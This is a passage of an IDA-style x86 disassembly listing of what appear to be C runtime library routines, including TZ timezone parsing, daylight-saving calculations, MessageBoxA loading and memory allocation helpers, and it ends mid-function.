loc_424694: ; CODE XREF: sub_42464D+3Dj
mov edi, 7FFFh
jmp short loc_4246BC
; ---------------------------------------------------------------------------
loc_42469B: ; CODE XREF: sub_42464D+39j
xor ebx, ebx
cmp eax, ebx
jnz short loc_4246B3
cmp edx, ebx
jnz short loc_4246B3
mov eax, [ebp+arg_0]
mov [eax+4], ebx
mov [eax], ebx
mov [eax+8], bx
jmp short loc_4246FE
; ---------------------------------------------------------------------------
loc_4246B3: ; CODE XREF: sub_42464D+52j
; sub_42464D+56j
lea edi, [ecx+3C01h]
mov [ebp+var_4], ebx
loc_4246BC: ; CODE XREF: sub_42464D+45j
; sub_42464D+4Cj
mov ecx, edx
shr ecx, 15h
shl eax, 0Bh
or ecx, eax
mov eax, [ebp+arg_0]
or ecx, [ebp+var_4]
shl edx, 0Bh
mov [eax+4], ecx
mov [eax], edx
loc_4246D4: ; CODE XREF: sub_42464D+A6j
test ecx, esi
jnz short loc_4246F5
mov edx, [eax]
add ecx, ecx
mov ebx, edx
shr ebx, 1Fh
or ebx, ecx
lea ecx, [edx+edx]
mov [eax], ecx
mov [eax+4], ebx
add edi, 0FFFFh
mov ecx, ebx
jmp short loc_4246D4
; ---------------------------------------------------------------------------
loc_4246F5: ; CODE XREF: sub_42464D+89j
mov ecx, [ebp+arg_4]
or ecx, edi
mov [eax+8], cx
loc_4246FE: ; CODE XREF: sub_42464D+64j
pop edi
pop esi
pop ebx
leave
retn
sub_42464D endp
; ---------------------------------------------------------------------------
push 2
call sub_41DA29
pop ecx
retn
; =============== S U B R O U T I N E =======================================
sub_42470C proc near ; DATA XREF: ___:0043C8B8o
; ___:0043D118o
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi]
cmp dword ptr [eax], 0E06D7363h
jnz short loc_42472F
cmp dword ptr [eax+10h], 3
jnz short loc_42472F
cmp dword ptr [eax+14h], 19930520h
jnz short loc_42472F
jmp sub_42255C
; ---------------------------------------------------------------------------
loc_42472F: ; CODE XREF: sub_42470C+Dj
; sub_42470C+13j ...
mov eax, dword_4DB4A0
test eax, eax
jz short loc_42474C
push eax
call sub_4247A8
test eax, eax
pop ecx
jz short loc_42474C
push esi
call dword_4DB4A0
jmp short loc_42474E
; ---------------------------------------------------------------------------
loc_42474C: ; CODE XREF: sub_42470C+2Aj
; sub_42470C+35j
xor eax, eax
loc_42474E: ; CODE XREF: sub_42470C+3Ej
pop esi
retn 4
sub_42470C endp
; ---------------------------------------------------------------------------
word_424752 dw 0C68h ; DATA XREF: ___:00429028o
; ---------------------------------------------------------------------------
inc edi
inc edx
add [eax+1CBD64E8h], dl
add ah, byte ptr dword_4DB4A0[ebx]
retn
; ---------------------------------------------------------------------------
byte_424763 db 0FFh ; DATA XREF: ___:00429040o
dd 4DB4A035h, 52E89000h, 0C3021CBDh
; =============== S U B R O U T I N E =======================================
sub_424770 proc near ; CODE XREF: sub_421DB1+6Bp
; sub_4222C2+61p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
pop esi
push [esp+4+arg_4]
push [esp+8+arg_0]
nop
call near ptr 25F0000h
test eax, eax
jz short loc_424788
xor esi, esi
loc_424788: ; CODE XREF: sub_424770+14j
mov eax, esi
pop esi
retn
sub_424770 endp
; =============== S U B R O U T I N E =======================================
sub_42478C proc near ; CODE XREF: sub_4222C2+73p
; sub_4222C2+BFp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
pop esi
push [esp+4+arg_4]
push [esp+8+arg_0]
call near ptr 2870859h
nop
test eax, eax
jz short loc_4247A4
xor esi, esi
loc_4247A4: ; CODE XREF: sub_42478C+14j
mov eax, esi
pop esi
retn
sub_42478C endp
; =============== S U B R O U T I N E =======================================
sub_4247A8 proc near ; CODE XREF: sub_4222C2+15Bp
; sub_42470C+2Dp
arg_0 = dword ptr 4
push esi
push 1
pop esi
push [esp+4+arg_0]
nop
call near ptr 25E0BA1h
test eax, eax
jz short loc_4247BC
xor esi, esi
loc_4247BC: ; CODE XREF: sub_4247A8+10j
mov eax, esi
pop esi
retn
sub_4247A8 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42255C
loc_4247C0: ; CODE XREF: sub_42255C:loc_4225ADj
push 0Ah
call sub_4235C9
push 16h
call sub_425955
pop ecx
pop ecx
push 3
call sub_41B7C2
; END OF FUNCTION CHUNK FOR sub_42255C
; =============== S U B R O U T I N E =======================================
sub_4247D7 proc near ; CODE XREF: sub_422669:loc_4226A8p
cmp dword_4DB560, 0
jnz short locret_4247EB
call sub_4247EC
inc dword_4DB560
locret_4247EB: ; CODE XREF: sub_4247D7+7j
retn
sub_4247D7 endp
; =============== S U B R O U T I N E =======================================
sub_4247EC proc near ; CODE XREF: sub_4247D7+9p
var_4 = dword ptr -4
push ecx
push ebx
push ebp
push esi
push edi
xor ebp, ebp
or ebx, 0FFFFFFFFh
push offset aTz ; "TZ"
xor edi, edi
mov dword_4DB4A8, ebp
mov dword_43CD50, ebx
mov dword_43CD40, ebx
call sub_425AC7
mov esi, eax
pop ecx
cmp esi, ebp
jnz loc_424915
push offset dword_4DB4B0
nop
call near ptr 2830000h
cmp eax, ebx
jz loc_424A44
mov eax, dword_4DB4B0
mov ecx, dword_4DB504
imul eax, 3Ch
cmp word_4DB4F6, bp
push 1
pop edx
mov dword_43CCA8, eax
mov dword_4DB4A8, edx
jz short loc_424863
mov esi, ecx
imul esi, 3Ch
add eax, esi
mov dword_43CCA8, eax
loc_424863: ; CODE XREF: sub_4247EC+69j
cmp word_4DB54A, bp
jz short loc_424887
mov eax, dword_4DB558
cmp eax, ebp
jz short loc_424887
sub eax, ecx
mov dword_43CCAC, edx
imul eax, 3Ch
mov dword_43CCB0, eax
jmp short loc_424893
; ---------------------------------------------------------------------------
loc_424887: ; CODE XREF: sub_4247EC+7Ej
; sub_4247EC+87j
mov dword_43CCAC, ebp
mov dword_43CCB0, ebp
loc_424893: ; CODE XREF: sub_4247EC+99j
lea eax, [esp+14h+var_4]
mov esi, dword_42717C
push eax
push ebp
push 3Fh
mov edi, 220h
push off_43CD34
push ebx
push offset dword_4DB4B4
push edi
push dword_4DB344
call esi
test eax, eax
jz short loc_4248D0
cmp [esp+14h+var_4], ebp
jnz short loc_4248D0
mov eax, off_43CD34
and byte ptr [eax+3Fh], 0
jmp short loc_4248D8
; ---------------------------------------------------------------------------
loc_4248D0: ; CODE XREF: sub_4247EC+D1j
; sub_4247EC+D7j
mov eax, off_43CD34
and byte ptr [eax], 0
loc_4248D8: ; CODE XREF: sub_4247EC+E2j
lea eax, [esp+14h+var_4]
push eax
push ebp
push 3Fh
push off_43CD38
push ebx
push offset dword_4DB508
push edi
push dword_4DB344
call esi
test eax, eax
jz loc_424A3C
cmp [esp+14h+var_4], ebp
jnz loc_424A3C
mov eax, off_43CD38
and byte ptr [eax+3Fh], 0
jmp loc_424A44
; ---------------------------------------------------------------------------
loc_424915: ; CODE XREF: sub_4247EC+2Dj
cmp byte ptr [esi], 0
jz loc_424A44
mov eax, dword_4DB55C
cmp eax, ebp
jz short loc_424938
push eax
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_424A44
loc_424938: ; CODE XREF: sub_4247EC+139j
push dword_4DB55C
call sub_41B0B1
push esi
call sub_41AFE0
inc eax
push eax
call sub_41B4D5
add esp, 0Ch
cmp eax, ebp
mov dword_4DB55C, eax
jz loc_424A44
push esi
push eax
call sub_41BEB0
push 3
push esi
push off_43CD34
call sub_41B5F0
mov eax, off_43CD34
add esi, 3
add esp, 14h
and byte ptr [eax+3], 0
cmp byte ptr [esi], 2Dh
jnz short loc_42498D
push 1
inc esi
pop edi
loc_42498D: ; CODE XREF: sub_4247EC+19Bj
push esi
call sub_41B6EE
pop ecx
mov bl, 30h
mov ecx, eax
imul ecx, 0E10h
mov dword_43CCA8, ecx
loc_4249A4: ; CODE XREF: sub_4247EC+1C7j
mov al, [esi]
cmp al, 2Bh
jz short loc_4249B2
cmp al, bl
jl short loc_4249B5
cmp al, 39h
jg short loc_4249B5
loc_4249B2: ; CODE XREF: sub_4247EC+1BCj
inc esi
jmp short loc_4249A4
; ---------------------------------------------------------------------------
loc_4249B5: ; CODE XREF: sub_4247EC+1C0j
; sub_4247EC+1C4j
cmp byte ptr [esi], 3Ah
jnz short loc_424A08
inc esi
push esi
call sub_41B6EE
imul eax, 3Ch
pop ecx
mov ecx, dword_43CCA8
add ecx, eax
mov dword_43CCA8, ecx
loc_4249D3: ; CODE XREF: sub_4247EC+1F2j
mov al, [esi]
cmp al, bl
jl short loc_4249E0
cmp al, 39h
jg short loc_4249E0
inc esi
jmp short loc_4249D3
; ---------------------------------------------------------------------------
loc_4249E0: ; CODE XREF: sub_4247EC+1EBj
; sub_4247EC+1EFj
cmp byte ptr [esi], 3Ah
jnz short loc_424A08
inc esi
push esi
call sub_41B6EE
pop ecx
mov ecx, dword_43CCA8
add ecx, eax
mov dword_43CCA8, ecx
loc_4249FB: ; CODE XREF: sub_4247EC+21Aj
mov al, [esi]
cmp al, bl
jl short loc_424A08
cmp al, 39h
jg short loc_424A08
inc esi
jmp short loc_4249FB
; ---------------------------------------------------------------------------
loc_424A08: ; CODE XREF: sub_4247EC+1CCj
; sub_4247EC+1F7j ...
cmp edi, ebp
jz short loc_424A14
neg ecx
mov dword_43CCA8, ecx
loc_424A14: ; CODE XREF: sub_4247EC+21Ej
movsx eax, byte ptr [esi]
cmp eax, ebp
mov dword_43CCAC, eax
jz short loc_424A3C
push 3
push esi
push off_43CD38
call sub_41B5F0
mov eax, off_43CD38
add esp, 0Ch
and byte ptr [eax+3], 0
jmp short loc_424A44
; ---------------------------------------------------------------------------
loc_424A3C: ; CODE XREF: sub_4247EC+10Bj
; sub_4247EC+115j ...
mov eax, off_43CD38
and byte ptr [eax], 0
loc_424A44: ; CODE XREF: sub_4247EC+40j
; sub_4247EC+124j ...
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
sub_4247EC endp
; =============== S U B R O U T I N E =======================================
sub_424A4A proc near ; CODE XREF: sub_422669+A5p
arg_0 = dword ptr 4
push ebx
push esi
push edi
xor edi, edi
cmp dword_43CCAC, edi
jnz short loc_424A5E
loc_424A57: ; CODE XREF: sub_424A4A+148j
; sub_424A4A+150j ...
xor eax, eax
jmp loc_424BAA
; ---------------------------------------------------------------------------
loc_424A5E: ; CODE XREF: sub_424A4A+Bj
mov esi, [esp+0Ch+arg_0]
push 1
pop ebx
mov eax, [esi+14h]
cmp eax, dword_43CD40
jnz short loc_424A7C
cmp eax, dword_43CD50
jz loc_424B7E
loc_424A7C: ; CODE XREF: sub_424A4A+24j
cmp dword_4DB4A8, edi
jz loc_424B54
movzx ecx, word_4DB556
push ecx
cmp word_4DB548, di
movzx ecx, word_4DB554
push ecx
movzx ecx, word_4DB552
push ecx
movzx ecx, word_4DB550
push ecx
jnz short loc_424ACE
movzx ecx, word_4DB54C
push edi
push ecx
movzx ecx, word_4DB54E
push ecx
movzx ecx, word_4DB54A
push ecx
push eax
push ebx
jmp short loc_424AE2
; ---------------------------------------------------------------------------
loc_424ACE: ; CODE XREF: sub_424A4A+65j
movzx ecx, word_4DB54E
push ecx
push edi
movzx ecx, word_4DB54A
push edi
push ecx
push eax
push edi
loc_424AE2: ; CODE XREF: sub_424A4A+82j
push ebx
call sub_424BF6
movzx eax, word_4DB502
add esp, 2Ch
cmp word_4DB4F4, di
push eax
movzx eax, word_4DB500
push eax
movzx eax, word_4DB4FE
push eax
movzx eax, word_4DB4FC
push eax
jnz short loc_424B3C
movzx eax, word_4DB4F8
push edi
push eax
movzx eax, word_4DB4FA
push eax
movzx eax, word_4DB4F6
push eax
push dword ptr [esi+14h]
push ebx
loc_424B31: ; CODE XREF: sub_424A4A+108j
push edi
call sub_424BF6
add esp, 2Ch
jmp short loc_424B7E
; ---------------------------------------------------------------------------
loc_424B3C: ; CODE XREF: sub_424A4A+C8j
movzx eax, word_4DB4FA
push eax
push edi
movzx eax, word_4DB4F6
push edi
push eax
push dword ptr [esi+14h]
push edi
jmp short loc_424B31
; ---------------------------------------------------------------------------
loc_424B54: ; CODE XREF: sub_424A4A+38j
push edi
push edi
push edi
push 2
push edi
push edi
push ebx
push 4
push eax
push ebx
push ebx
call sub_424BF6
push edi
push edi
push edi
push 2
push edi
push edi
push 5
push 0Ah
push dword ptr [esi+14h]
push ebx
push edi
call sub_424BF6
add esp, 58h
loc_424B7E: ; CODE XREF: sub_424A4A+2Cj
; sub_424A4A+F0j
mov edx, dword_43CD44
mov eax, dword_43CD54
mov ecx, [esi+1Ch]
cmp edx, eax
jge short loc_424BAE
cmp ecx, edx
jl loc_424A57
cmp ecx, eax
jg loc_424A57
cmp ecx, edx
jle short loc_424BC2
cmp ecx, eax
jge short loc_424BC2
loc_424BA8: ; CODE XREF: sub_424A4A+166j
; sub_424A4A+16Aj
mov eax, ebx
loc_424BAA: ; CODE XREF: sub_424A4A+Fj
; sub_424A4A+19Dj
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_424BAE: ; CODE XREF: sub_424A4A+144j
cmp ecx, eax
jl short loc_424BA8
cmp ecx, edx
jg short loc_424BA8
cmp ecx, eax
jle short loc_424BC2
cmp ecx, edx
jl loc_424A57
loc_424BC2: ; CODE XREF: sub_424A4A+158j
; sub_424A4A+15Cj ...
mov eax, [esi+8]
imul eax, 3Ch
add eax, [esi+4]
imul eax, 3Ch
add eax, [esi]
imul eax, 3E8h
cmp ecx, edx
jnz short loc_424BE9
xor ecx, ecx
cmp eax, dword_43CD48
setnl cl
loc_424BE5: ; CODE XREF: sub_424A4A+1AAj
mov eax, ecx
jmp short loc_424BAA
; ---------------------------------------------------------------------------
loc_424BE9: ; CODE XREF: sub_424A4A+18Ej
xor ecx, ecx
cmp eax, dword_43CD58
setl cl
jmp short loc_424BE5
sub_424A4A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424BF6 proc near ; CODE XREF: sub_424A4A+99p
; sub_424A4A+E8p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = dword ptr 30h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 1
push ebx
mov ebx, [ebp+arg_8]
push esi
jnz loc_424C91
mov eax, [ebp+arg_C]
mov [ebp+arg_8], ebx
and [ebp+arg_8], 3
mov esi, eax
jnz short loc_424C21
shl esi, 2
mov eax, dword_43CD58[esi]
jmp short loc_424C2A
; ---------------------------------------------------------------------------
loc_424C21: ; CODE XREF: sub_424BF6+1Ej
shl esi, 2
mov eax, dword_43CD8C[esi]
loc_424C2A: ; CODE XREF: sub_424BF6+29j
mov edx, ebx
lea ecx, [eax+1]
imul edx, 16Dh
lea eax, [ebx-1]
push edi
sar eax, 2
mov edi, ecx
push 7
add edi, eax
lea eax, [edx+edi-63DBh]
pop edi
cdq
idiv edi
mov eax, [ebp+arg_10]
pop edi
cmp edx, [ebp+arg_14]
jg short loc_424C64
imul eax, 7
sub eax, edx
add eax, [ebp+arg_14]
lea ecx, [ecx+eax-7]
jmp short loc_424C6E
; ---------------------------------------------------------------------------
loc_424C64: ; CODE XREF: sub_424BF6+5Ej
imul eax, 7
sub eax, edx
add eax, [ebp+arg_14]
add ecx, eax
loc_424C6E: ; CODE XREF: sub_424BF6+6Cj
cmp [ebp+arg_10], 5
jnz short loc_424CAC
cmp [ebp+arg_8], 0
jnz short loc_424C82
mov esi, dword_43CD5C[esi]
jmp short loc_424C88
; ---------------------------------------------------------------------------
loc_424C82: ; CODE XREF: sub_424BF6+82j
mov esi, dword_43CD90[esi]
loc_424C88: ; CODE XREF: sub_424BF6+8Aj
cmp ecx, esi
jle short loc_424CAC
sub ecx, 7
jmp short loc_424CAC
; ---------------------------------------------------------------------------
loc_424C91: ; CODE XREF: sub_424BF6+Cj
mov eax, [ebp+arg_C]
test bl, 3
jnz short loc_424CA2
mov ecx, dword_43CD58[eax*4]
jmp short loc_424CA9
; ---------------------------------------------------------------------------
loc_424CA2: ; CODE XREF: sub_424BF6+A1j
mov ecx, dword_43CD8C[eax*4]
loc_424CA9: ; CODE XREF: sub_424BF6+AAj
add ecx, [ebp+arg_18]
loc_424CAC: ; CODE XREF: sub_424BF6+7Cj
; sub_424BF6+94j ...
cmp [ebp+arg_0], 1
jnz short loc_424CDD
mov eax, [ebp+arg_1C]
mov dword_43CD44, ecx
imul eax, 3Ch
add eax, [ebp+arg_20]
mov dword_43CD40, ebx
imul eax, 3Ch
add eax, [ebp+arg_24]
imul eax, 3E8h
add eax, [ebp+arg_28]
mov dword_43CD48, eax
jmp short loc_424D32
; ---------------------------------------------------------------------------
loc_424CDD: ; CODE XREF: sub_424BF6+BAj
mov eax, [ebp+arg_1C]
mov dword_43CD54, ecx
imul eax, 3Ch
add eax, [ebp+arg_20]
imul eax, 3Ch
add eax, dword_43CCB0
add eax, [ebp+arg_24]
imul eax, 3E8h
add eax, [ebp+arg_28]
mov dword_43CD58, eax
jns short loc_424D15
add eax, 5265C00h
dec ecx
mov dword_43CD58, eax
jmp short loc_424D26
; ---------------------------------------------------------------------------
loc_424D15: ; CODE XREF: sub_424BF6+110j
mov edx, 5265C00h
cmp eax, edx
jl short loc_424D2C
sub eax, edx
inc ecx
mov dword_43CD58, eax
loc_424D26: ; CODE XREF: sub_424BF6+11Dj
mov dword_43CD54, ecx
loc_424D2C: ; CODE XREF: sub_424BF6+126j
mov dword_43CD50, ebx
loc_424D32: ; CODE XREF: sub_424BF6+E5j
pop esi
pop ebx
pop ebp
retn
sub_424BF6 endp
; =============== S U B R O U T I N E =======================================
sub_424D36 proc near ; CODE XREF: ___:00422E9Dp
arg_0 = dword ptr 4
push 4
push 0
push [esp+8+arg_0]
call sub_424D47
add esp, 0Ch
retn
sub_424D36 endp
; =============== S U B R O U T I N E =======================================
sub_424D47 proc near ; CODE XREF: sub_424D36+8p
arg_0 = byte ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
movzx eax, [esp+arg_0]
mov cl, [esp+arg_8]
test byte_4DC7E1[eax], cl
jnz short loc_424D74
cmp [esp+arg_4], 0
jz short loc_424D6D
movzx eax, word_43C302[eax*2]
and eax, [esp+arg_4]
jmp short loc_424D6F
; ---------------------------------------------------------------------------
loc_424D6D: ; CODE XREF: sub_424D47+16j
xor eax, eax
loc_424D6F: ; CODE XREF: sub_424D47+24j
test eax, eax
jnz short loc_424D74
retn
; ---------------------------------------------------------------------------
loc_424D74: ; CODE XREF: sub_424D47+Fj
; sub_424D47+2Aj
push 1
pop eax
retn
sub_424D47 endp
; =============== S U B R O U T I N E =======================================
sub_424D78 proc near ; CODE XREF: sub_4235C9+11Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
xor ebx, ebx
cmp dword_4DB564, ebx
push esi
push edi
jnz short loc_424DC7
push offset aUser32_dll ; "user32.dll"
nop
call near ptr 2680C3Fh
mov edi, eax
cmp edi, ebx
jz short loc_424DFD
mov esi, dword_4270BC
push offset aMessageboxa ; "MessageBoxA"
push edi
call esi
test eax, eax
mov dword_4DB564, eax
jz short loc_424DFD
push offset aGetactivewindo ; "GetActiveWindow"
push edi
call esi
push offset aGetlastactivep ; "GetLastActivePopup"
push edi
mov dword_4DB568, eax
call esi
mov dword_4DB56C, eax
loc_424DC7: ; CODE XREF: sub_424D78+Bj
mov eax, dword_4DB568
test eax, eax
jz short loc_424DE6
call eax
mov ebx, eax
test ebx, ebx
jz short loc_424DE6
mov eax, dword_4DB56C
test eax, eax
jz short loc_424DE6
push ebx
call eax
mov ebx, eax
loc_424DE6: ; CODE XREF: sub_424D78+56j
; sub_424D78+5Ej ...
push [esp+0Ch+arg_8]
push [esp+10h+arg_4]
push [esp+14h+arg_0]
push ebx
call dword_4DB564
loc_424DF9: ; CODE XREF: sub_424D78+87j
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_424DFD: ; CODE XREF: sub_424D78+1Cj
; sub_424D78+33j
xor eax, eax
jmp short loc_424DF9
sub_424D78 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424E01 proc near ; CODE XREF: sub_423936+22p
; sub_423936+3Bp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
imul esi, [ebp+arg_4]
cmp esi, 0FFFFFFE0h
push edi
mov [ebp+arg_0], esi
ja short loc_424E22
test esi, esi
jnz short loc_424E1C
push 1
pop esi
loc_424E1C: ; CODE XREF: sub_424E01+16j
add esi, 0Fh
and esi, 0FFFFFFF0h
loc_424E22: ; CODE XREF: sub_424E01+12j
; sub_424E01+94j
xor edi, edi
cmp esi, 0FFFFFFE0h
ja short loc_424E81
mov eax, dword_4DC908
cmp eax, 3
jnz short loc_424E4D
mov eax, [ebp+arg_0]
cmp eax, dword_4DC900
ja short loc_424E6C
push eax
call sub_41E1CB
mov edi, eax
pop ecx
test edi, edi
jnz short loc_424E97
jmp short loc_424E6C
; ---------------------------------------------------------------------------
loc_424E4D: ; CODE XREF: sub_424E01+30j
cmp eax, 2
jnz short loc_424E6C
cmp esi, dword_43C2F4
ja short loc_424E6C
mov eax, esi
shr eax, 4
push eax
call sub_41EC6E
mov edi, eax
pop ecx
test edi, edi
jnz short loc_424EAB
loc_424E6C: ; CODE XREF: sub_424E01+3Bj
; sub_424E01+4Aj ...
push esi
push 8
push dword_4DC904
nop
call near ptr 2780000h
mov edi, eax
test edi, edi
jnz short loc_424EA5
loc_424E81: ; CODE XREF: sub_424E01+26j
cmp dword_4DB2FC, 0
jz short loc_424EA5
push esi
call sub_41F312
test eax, eax
pop ecx
jz short loc_424EAE
jmp short loc_424E22
; ---------------------------------------------------------------------------
loc_424E97: ; CODE XREF: sub_424E01+48j
push [ebp+arg_0]
loc_424E9A: ; CODE XREF: sub_424E01+ABj
push 0
push edi
call sub_41B590
add esp, 0Ch
loc_424EA5: ; CODE XREF: sub_424E01+7Ej
; sub_424E01+87j
mov eax, edi
loc_424EA7: ; CODE XREF: sub_424E01+AFj
pop edi
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_424EAB: ; CODE XREF: sub_424E01+69j
push esi
jmp short loc_424E9A
; ---------------------------------------------------------------------------
loc_424EAE: ; CODE XREF: sub_424E01+92j
xor eax, eax
jmp short loc_424EA7
sub_424E01 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4239DB
loc_424EB2: ; CODE XREF: sub_4239DB+Ej
push esi
push edi
push 3
xor edi, edi
pop esi
cmp dword_4DC5A0, esi
jle short loc_424F05
loc_424EC1: ; CODE XREF: sub_4239DB+1528j
mov eax, dword_4DB598
mov eax, [eax+esi*4]
test eax, eax
jz short loc_424EFC
test byte ptr [eax+0Ch], 83h
jz short loc_424EE0
push eax
call sub_41B05B
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_424EE0
inc edi
loc_424EE0: ; CODE XREF: sub_4239DB+14F6j
; sub_4239DB+1502j
cmp esi, 14h
jl short loc_424EFC
mov eax, dword_4DB598
push dword ptr [eax+esi*4]
call sub_41B0B1
mov eax, dword_4DB598
pop ecx
and dword ptr [eax+esi*4], 0
loc_424EFC: ; CODE XREF: sub_4239DB+14F0j
; sub_4239DB+1508j
inc esi
cmp esi, dword_4DC5A0
jl short loc_424EC1
loc_424F05: ; CODE XREF: sub_4239DB+14E4j
mov eax, edi
pop edi
pop esi
retn
; END OF FUNCTION CHUNK FOR sub_4239DB
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424F0A proc near ; CODE XREF: sub_423A33+271p
var_1000 = byte ptr -1000h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 1000h
call sub_41BB20
push ebx
mov ebx, [ebp+arg_0]
push esi
xor esi, esi
cmp ebx, dword_4DC6C0
jnb loc_42503F
mov eax, ebx
mov ecx, ebx
sar eax, 5
and ecx, 1Fh
mov eax, dword_4DC5C0[eax*4]
test byte ptr [eax+ecx*8+4], 1
jz loc_42503F
push 1
push esi
push ebx
call sub_42272B
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz loc_425049
push 2
push esi
push ebx
call sub_42272B
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz loc_425049
push edi
mov edi, [ebp+arg_4]
sub edi, eax
test edi, edi
jle short loc_424FEC
push 1000h
lea eax, [ebp+var_1000]
push esi
push eax
call sub_41B590
push 8000h
push ebx
call sub_425B44
add esp, 14h
mov [ebp+arg_4], eax
loc_424FA0: ; CODE XREF: sub_424F0A+BDj
mov eax, 1000h
cmp edi, eax
jge short loc_424FAB
mov eax, edi
loc_424FAB: ; CODE XREF: sub_424F0A+9Dj
push eax
lea eax, [ebp+var_1000]
push eax
push ebx
call sub_42291D
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_424FC9
sub edi, eax
test edi, edi
jle short loc_424FDF
jmp short loc_424FA0
; ---------------------------------------------------------------------------
loc_424FC9: ; CODE XREF: sub_424F0A+B5j
cmp dword_4DB27C, 5
jnz short loc_424FDC
mov dword_4DB278, 0Dh
loc_424FDC: ; CODE XREF: sub_424F0A+C6j
or esi, 0FFFFFFFFh
loc_424FDF: ; CODE XREF: sub_424F0A+BBj
push [ebp+arg_4]
push ebx
call sub_425B44
pop ecx
pop ecx
jmp short loc_42502C
; ---------------------------------------------------------------------------
loc_424FEC: ; CODE XREF: sub_424F0A+71j
jge short loc_42502C
push 0
push [ebp+arg_4]
push ebx
call sub_42272B
push ebx
call sub_4238A2
add esp, 10h
push eax
nop
call near ptr 25E0000h
mov esi, eax
neg esi
sbb esi, esi
neg esi
dec esi
cmp esi, 0FFFFFFFFh
jnz short loc_42502C
mov dword_4DB278, 0Dh
nop
call near ptr 2660A00h
mov dword_4DB27C, eax
loc_42502C: ; CODE XREF: sub_424F0A+E0j
; sub_424F0A:loc_424FECj ...
push 0
push [ebp+arg_0]
push ebx
call sub_42272B
add esp, 0Ch
mov eax, esi
pop edi
jmp short loc_42504C
; ---------------------------------------------------------------------------
loc_42503F: ; CODE XREF: sub_424F0A+1Aj
; sub_424F0A+36j
mov dword_4DB278, 9
loc_425049: ; CODE XREF: sub_424F0A+4Ej
; sub_424F0A+63j
or eax, 0FFFFFFFFh
loc_42504C: ; CODE XREF: sub_424F0A+133j
pop esi
pop ebx
leave
retn
sub_424F0A endp
; =============== S U B R O U T I N E =======================================
sub_425050 proc near ; CODE XREF: sub_4241CF+2Bp
; sub_4241CF+42p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_0]
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
lea ecx, [edx+esi]
cmp ecx, edx
jb short loc_425066
cmp ecx, esi
jnb short loc_425069
loc_425066: ; CODE XREF: sub_425050+10j
push 1
pop eax
loc_425069: ; CODE XREF: sub_425050+14j
mov edx, [esp+4+arg_8]
pop esi
mov [edx], ecx
retn
sub_425050 endp
; =============== S U B R O U T I N E =======================================
sub_425071 proc near ; CODE XREF: sub_42512A+40p
; sub_42512A+61p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
mov edi, [esp+8+arg_4]
push esi
push dword ptr [edi]
push dword ptr [esi]
call sub_425050
add esp, 0Ch
test eax, eax
jz short loc_4250A3
lea eax, [esi+4]
push eax
push 1
push dword ptr [eax]
call sub_425050
add esp, 0Ch
test eax, eax
jz short loc_4250A3
inc dword ptr [esi+8]
loc_4250A3: ; CODE XREF: sub_425071+19j
; sub_425071+2Dj
lea eax, [esi+4]
push eax
push dword ptr [edi+4]
push dword ptr [eax]
call sub_425050
add esp, 0Ch
test eax, eax
jz short loc_4250BB
inc dword ptr [esi+8]
loc_4250BB: ; CODE XREF: sub_425071+45j
lea eax, [esi+8]
push eax
push dword ptr [edi+8]
push dword ptr [eax]
call sub_425050
add esp, 0Ch
pop edi
pop esi
retn
sub_425071 endp
; =============== S U B R O U T I N E =======================================
sub_4250CF proc near ; CODE XREF: sub_42512A+30p
; sub_42512A+36p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
mov esi, [eax]
mov edi, [eax+4]
mov ecx, esi
add esi, esi
mov [eax], esi
lea esi, [edi+edi]
shr ecx, 1Fh
or esi, ecx
mov ecx, [eax+8]
mov edx, edi
mov [eax+4], esi
shr edx, 1Fh
shl ecx, 1
or ecx, edx
pop edi
mov [eax+8], ecx
pop esi
retn
sub_4250CF endp
; =============== S U B R O U T I N E =======================================
sub_4250FD proc near ; CODE XREF: sub_4256C2+1C8p
; sub_425BBA+17Dp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
mov edx, [eax+8]
mov ecx, [eax+4]
mov esi, edx
mov edi, ecx
shl esi, 1Fh
shr ecx, 1
or ecx, esi
mov [eax+4], ecx
mov ecx, [eax]
shl edi, 1Fh
shr ecx, 1
shr edx, 1
or ecx, edi
pop edi
mov [eax+8], edx
mov [eax], ecx
pop esi
retn
sub_4250FD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42512A proc near ; CODE XREF: sub_4251F1+3CAp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
